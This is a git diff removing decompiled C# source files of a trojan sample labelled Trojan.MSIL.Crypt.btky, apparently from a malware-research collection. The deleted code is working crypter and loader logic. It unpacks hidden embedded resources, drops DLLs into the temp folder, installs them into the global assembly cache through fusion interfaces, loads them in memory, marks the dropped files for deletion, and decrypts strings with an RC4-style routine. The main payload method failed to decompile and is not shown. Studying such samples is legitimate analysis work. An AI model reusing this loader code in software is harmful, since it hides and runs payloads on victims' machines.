decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using \u0001; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0002 -{ - internal sealed class \u0001 - { - private static Hashtable \u0001 = new Hashtable(); - - [DllImport("kernel32", EntryPoint = "MoveFileEx")] - private static extern bool \u0003([In] string obj0, [In] string obj1, [In] int obj2); - - [SpecialName] - internal static bool \u0003() - { - try - { - string lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower(); - if (lower == "w3wp.exe") - return true; - if (lower == "aspnet_wp.exe") - return true; - } - catch (Exception ex) - { - } - return false; - } - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002.\u0001.\u0003); - if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0002.\u0001.\u0003()) - return; - string[] strArray = "ezM4NzJhNzNkLTQ4ZTEtNDUwNC1iMzkzLWE3NjQyODczMWFmZX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3872a73d-48e1-4504-b393-a76428731afe}".Split(','); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - try - { - string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(strArray[index])); - string str2 = strArray[index + 1]; - if (str2.Length > 0) - { - if (str2[0] == '[') - { - int num = str2.IndexOf(']'); - string str3 = str2.Substring(1, num - 1); - string name = str2.Substring(num + 1); - bool flag = str3.IndexOf('z') >= 0; - if (str3.IndexOf('f') >= 0) - { - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] buffer = new byte[length]; - manifestResourceStream.Read(buffer, 0, length); - if (flag) - buffer = \u0003.\u0003(buffer); - try - { - string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) name); - Directory.CreateDirectory(path1); - \u0002.\u0001.\u0001 obj = new \u0002.\u0001.\u0001(str1); - string path2 = path1 + obj.\u0001 + ".dll"; - if (!File.Exists(path2)) - { - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(buffer, 0, buffer.Length); - fileStream.Close(); - } - \u0002.\u0002.\u0003(path2); - try - { - File.Delete(path2); - Directory.Delete(path1); - } - catch - { - } - } - catch (Exception ex) - { - } - } - } - } - } - } - catch (Exception ex) - { - } - } - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - \u0002.\u0001.\u0001 obj = new \u0002.\u0001.\u0001(obj1.Name); - string base64String1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0003(false))); - string[] strArray = "ezM4NzJhNzNkLTQ4ZTEtNDUwNC1iMzkzLWE3NjQyODczMWFmZX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3872a73d-48e1-4504-b393-a76428731afe}".Split(','); - string str1 = string.Empty; - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String1) - { - str1 = strArray[index + 1]; - break; - } - } - if (str1.Length == 0 && obj.\u0004.Length == 0) - { - string base64String2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001)); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String2) - { - str1 = strArray[index + 1]; - break; - } - } - } - if (str1.Length > 0) - { - if (str1[0] == '[') - { - int num = str1.IndexOf(']'); - string str2 = str1.Substring(1, num - 1); - flag1 = str2.IndexOf('z') >= 0; - flag2 = str2.IndexOf('g') >= 0; - flag3 = str2.IndexOf('t') >= 0; - str1 = str1.Substring(num + 1); - } - lock (\u0002.\u0001.\u0001) - { - if (\u0002.\u0001.\u0001.ContainsKey((object) str1)) - return (Assembly) \u0002.\u0001.\u0001[(object) str1]; - } - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] numArray = new byte[length]; - manifestResourceStream.Read(numArray, 0, length); - if (flag1) - numArray = \u0003.\u0003(numArray); - if (flag2) - { - try - { - string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path1); - string path2 = path1 + obj.\u0001 + ".dll"; - if (!File.Exists(path2)) - { - Assembly assembly = (Assembly) null; - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - if (\u0002.\u0002.\u0003(path2)) - assembly = Assembly.Load(obj.\u0003(true)); - File.Delete(path2); - Directory.Delete(path1); - if ((object) assembly != null) - { - lock (\u0002.\u0001.\u0001) - { - if (\u0002.\u0001.\u0001.ContainsKey((object) str1)) - assembly = (Assembly) \u0002.\u0001.\u0001[(object) str1]; - else - \u0002.\u0001.\u0001.Add((object) str1, (object) assembly); - } - return assembly; - } - } - } - catch - { - } - } - Assembly assembly1 = (Assembly) null; - if (!flag3) - { - try - { - assembly1 = Assembly.Load(numArray); - } - catch (FileLoadException ex) - { - flag3 = true; - } - catch (BadImageFormatException ex) - { - flag3 = true; - } - } - if (flag3) - { - try - { - string path3 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path3); - string path4 = path3 + obj.\u0001 + ".dll"; - if (!File.Exists(path4)) - { - FileStream fileStream = File.OpenWrite(path4); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - \u0002.\u0001.\u0003(path4, (string) null, 4); - \u0002.\u0001.\u0003(path3, (string) null, 4); - } - assembly1 = Assembly.LoadFile(path4); - } - catch - { - } - } - lock (\u0002.\u0001.\u0001) - \u0002.\u0001.\u0001.Add((object) str1, (object) assembly1); - return assembly1; - } - } - return (Assembly) null; - } - - internal struct \u0001 - { - public string \u0001; - public Version \u0002; - public string \u0003; - public string \u0004; - - public string \u0003([In] bool obj0) - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append(this.\u0001); - if (obj0) - { - stringBuilder.Append(", Version="); - stringBuilder.Append((object) this.\u0002); - } - stringBuilder.Append(", Culture="); - stringBuilder.Append(this.\u0003.Length == 0 ? "neutral" : this.\u0003); - stringBuilder.Append(", PublicKeyToken="); - stringBuilder.Append(this.\u0004.Length == 0 ? "null" : this.\u0004); - return stringBuilder.ToString(); - } - - public \u0001([In] string obj0) - { - this.\u0002 = new Version(); - this.\u0003 = string.Empty; - this.\u0004 = string.Empty; - this.\u0001 = string.Empty; - string str1 = obj0; - char[] chArray = new char[1]{ ',' }; - foreach (string str2 in str1.Split(chArray)) - { - string str3 = str2.Trim(); - if (str3.StartsWith("Version=")) - this.\u0002 = new Version(str3.Substring(8)); - else if (str3.StartsWith("Culture=")) - { - this.\u0003 = str3.Substring(8); - if (this.\u0003 == "neutral") - this.\u0003 = string.Empty; - } - else if (str3.StartsWith("PublicKeyToken=")) - { - this.\u0004 = str3.Substring(15); - if (this.\u0004 == "null") - this.\u0004 = string.Empty; - } - else - this.\u0001 = str3; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0002/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0002/_0002.cs deleted file mode 100644 index f1c6fc87..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0002/_0002.cs +++ /dev/null @@ -1,174 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0002 -{ - internal sealed class \u0002 - { - [DllImport("fusion", EntryPoint = "CreateAssemblyCache", CharSet = CharSet.Auto)] - internal static extern int \u0003(out \u0002.\u0002.\u0007 ppAsmCache, uint dwReserved); - - public static bool \u0003([In] string obj0) - { - \u0002.\u0002.\u0007 ppAsmCache = (\u0002.\u0002.\u0007) null; - return \u0002.\u0002.\u0003(out ppAsmCache, 0U) == 0 && ppAsmCache.\u0002(0U, obj0, IntPtr.Zero) == 0; - } - - public struct \u0001 - { - public int \u0001; - public int \u0002; - } - - public struct \u0002 - { - public \u0002.\u0002.\u0001 \u0001; - public long \u0002; - public Guid \u0003; - public \u0002.\u0002.\u0001 \u0004; - public int \u0005; - public int \u0006; - public int \u0007; - public \u0002.\u0002.\u0001 \u0008; - public string \u000E; - public int \u000F; - public int \u0010; - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("0000000c-0000-0000-C000-000000000046")] - [ComImport] - public interface \u0003 - { - void \u0001(IntPtr pv, uint cb, out uint pcbRead); - - void \u0002(IntPtr pv, uint cb, out uint pcbWritten); - - void \u0001(long dlibMove, uint dwOrigin, out ulong plibNewPosition); - - void \u0001(ulong libNewSize); - - void \u0001(\u0002.\u0002.\u0003 pstm, ulong cb, out ulong pcbRead, out ulong pcbWritten); - - void \u0001(uint grfCommitFlags); - - void \u0001(); - - void \u0001(ulong libOffset, ulong cb, uint dwLockType); - - void \u0002(ulong libOffset, ulong cb, uint dwLockType); - - void \u0001(out \u0002.\u0002.\u0002 pstatstg, uint grfStatFlag); - - void \u0001(out \u0002.\u0002.\u0003 ppstm); - } - - [Guid("7c23ff90-33af-11d3-95da-00a024a85b51")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0004 - { - void \u0001(\u0002.\u0002.\u0005 pName); - - void \u0001(out \u0002.\u0002.\u0005 ppName); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, int pvValue, uint cbValue, uint dwFlags); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, out int pvValue, ref uint pcbValue, uint dwFlags); - - void \u0001(out int wzDynamicDir, ref uint pdwSize); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")] - [ComImport] - internal interface \u0005 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, uint cbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, ref uint pcbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(IntPtr szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - object refIID, - object pAsmBindSink, - \u0002.\u0002.\u0004 pApplicationContext, - [MarshalAs(UnmanagedType.LPWStr)] string szCodeBase, - long llFlags, - int pvReserved, - uint cbReserved, - out int ppv); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint lpcwBuffer, out int pwzName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint pdwVersionHi, out uint pdwVersionLow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(\u0002.\u0002.\u0005 pName, uint dwCmpFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out \u0002.\u0002.\u0005 pName); - } - - [Guid("9e3aaeb4-d1cd-11d2-bab9-00c04f8eceae")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0006 - { - void \u0001( - [MarshalAs(UnmanagedType.LPWStr)] string pszName, - uint dwFormat, - uint dwFlags, - uint dwMaxSize, - out \u0002.\u0002.\u0003 ppStream); - - void \u0002(\u0002.\u0002.\u0005 pName); - - void \u0001(uint dwFlags); - - void \u0002(uint dwFlags); - } - - [Guid("e707dcde-d1cd-11d2-bab9-00c04f8eceae")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0007 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pvReserved, out uint pulDisposition); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pAsmInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - uint dwFlags, - IntPtr pvReserved, - out \u0002.\u0002.\u0006 ppAsmItem, - [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out object ppAsmScavenger); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0002(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, IntPtr pvReserved); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0002/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0002/_0003.cs deleted file mode 100644 index 4d7ae6ef..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0002/_0003.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using \u0002; -using System; - -namespace \u0002 -{ - internal sealed class \u0003 - { - public static void \u0003() - { - try - { - \u0001.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0002/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0002/_0004.cs deleted file mode 100644 index d1d749e1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0002/_0004.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using System; - -namespace \u0002 -{ - internal sealed class \u0004 : Attribute - { - public \u0004(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0003/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0003/_0001.cs deleted file mode 100644 index 280b5eca..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0003/_0001.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace \u0003 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0001 : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void \u0003(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - \u0003.\u0003.Application.Run(Args); - } - - [DebuggerStepThrough] - public \u0001() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) \u0003.\u0003.Forms.Form1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0003/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0003/_0002.cs deleted file mode 100644 index 063dba40..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0003/_0002.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace \u0003 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0002 : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0003/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0003/_0003.cs deleted file mode 100644 index ad9fd2ef..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0003/_0003.cs +++ /dev/null @@ -1,221 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using \u0003; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0003 -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class \u0003 - { - private static readonly \u0003.\u0003.\u0002<\u0002> \u0001 = new \u0003.\u0003.\u0002<\u0002>(); - private static readonly \u0003.\u0003.\u0002<\u0001> \u0002 = new \u0003.\u0003.\u0002<\u0001>(); - private static readonly \u0003.\u0003.\u0002 \u0003 = new \u0003.\u0003.\u0002(); - private static \u0003.\u0003.\u0002<\u0003.\u0003.\u0004> \u0004 = new \u0003.\u0003.\u0002<\u0003.\u0003.\u0004>(); - private static readonly \u0003.\u0003.\u0002<\u0003.\u0003.\u0001> \u0005 = new \u0003.\u0003.\u0002<\u0003.\u0003.\u0001>(); - - [DebuggerNonUserCode] - static \u0003() - { - } - - [HelpKeyword("My.Computer")] - internal static \u0002 Computer - { - [DebuggerHidden] get => \u0003.\u0003.\u0001.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static \u0001 Application - { - [DebuggerHidden] get => \u0003.\u0003.\u0002.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => \u0003.\u0003.\u0003.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static \u0003.\u0003.\u0004 Forms - { - [DebuggerHidden] get => \u0003.\u0003.\u0004.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static \u0003.\u0003.\u0001 WebServices - { - [DebuggerHidden] get => \u0003.\u0003.\u0005.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class \u0004 - { - public \u0004.\u0003 \u0001; - [ThreadStatic] - private static Hashtable \u0002; - - public \u0004.\u0003 Form1 - { - [DebuggerNonUserCode] get - { - this.\u0001 = \u0003.\u0003.\u0004.\u0003<\u0004.\u0003>(this.\u0001); - return this.\u0001; - } - [DebuggerNonUserCode] set - { - if (value == this.\u0001) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.\u0003<\u0004.\u0003>(ref this.\u0001); - } - } - - [DebuggerHidden] - private static T \u0003(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (\u0003.\u0003.\u0004.\u0002 != null) - { - if (\u0003.\u0003.\u0004.\u0002.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - goto label_10; -label_4: - \u0003.\u0003.\u0004.\u0002.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - \u0003.\u0003.\u0004.\u0002.Remove((object) typeof (T)); - } -label_10: - \u0003.\u0003.\u0004.\u0002 = new Hashtable(); - goto label_4; - } - - [DebuggerHidden] - private void \u0003(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0004() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0003() => typeof (\u0003.\u0003.\u0004); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class \u0001 - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal System.Type \u0003() => typeof (\u0003.\u0003.\u0001); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T \u0003(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void \u0003(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0001() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) \u0003.\u0003.\u0002.\u0001 == null) - goto label_2; -label_1: - return \u0003.\u0003.\u0002.\u0001; -label_2: - \u0003.\u0003.\u0002.\u0001 = new T(); - goto label_1; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0004/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0004/_0003.cs deleted file mode 100644 index 209fef1d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0004/_0003.cs +++ /dev/null @@ -1,112 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using \u0004; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace \u0004 -{ - [DesignerGenerated] - internal sealed class \u0003 : Form - { - private IContainer \u0001; - private const string \u0002 = "YesNewBeg"; - - [DebuggerNonUserCode] - public \u0003() - { - \u0003 obj = this; - // ISSUE: virtual method pointer - this.Load += new EventHandler((object) obj, __vmethodptr(obj, \u0003)); - this.\u0003(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.\u0001 == null) - return; - this.\u0001.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void \u0003() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(292, 55); - this.Name = "Form1"; - this.Text = "Form1"; - this.ResumeLayout(false); - } - - private void \u0003(object sender, EventArgs e) - { - // ISSUE: unable to decompile the method. - } - - public static string \u0003(string message, string password) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = password.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = password.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0004/_0004.cs 